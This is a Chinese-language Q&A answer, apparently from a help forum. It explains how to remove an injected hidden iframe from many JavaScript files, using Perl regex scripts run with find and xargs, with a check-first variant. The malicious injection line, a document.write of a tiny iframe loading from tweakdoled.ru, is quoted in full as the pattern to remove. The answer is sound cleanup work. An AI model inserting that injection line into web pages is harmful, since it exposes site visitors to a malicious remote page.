使用 Perl\Q...\E
表示法暂停元字符。但是,由于要匹配的字符串中有很多字符对于 shell 来说也是特殊的,所以我会将 Perl 正则表达式放入一个文件 ( script.pl
) 中,使用%
(它不会出现在要替换的字符串中)作为正则表达式分隔符:
s%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%%g;
然后运行它:
find ./ -name "*.js" -type f | xargs perl -pi.bak -f script.pl
如果你花足够的时间,你可能会找到一种方法让它在没有脚本文件的情况下工作;不过,这可能不值得付出努力(尤其是因为我确定您几天前问过与此非常相似的问题)。
显然,在运行它来编辑文件之前,您将运行一个变体以确保打印出所寻求的行:
script2.pl
:
print if m%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%;
运行使用:
find ./ -name "*.js" -type f | xargs perl -n -f script2.pl
如果这没有检测到线条,那么您将追踪一个变化,直到您找到匹配的东西。您可能决定使用类似的东西:
print if m%;document.write.'<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'.;%;
这将两个括号替换为.
(因此,理论上,它可能匹配其他内容,但实际上不会)。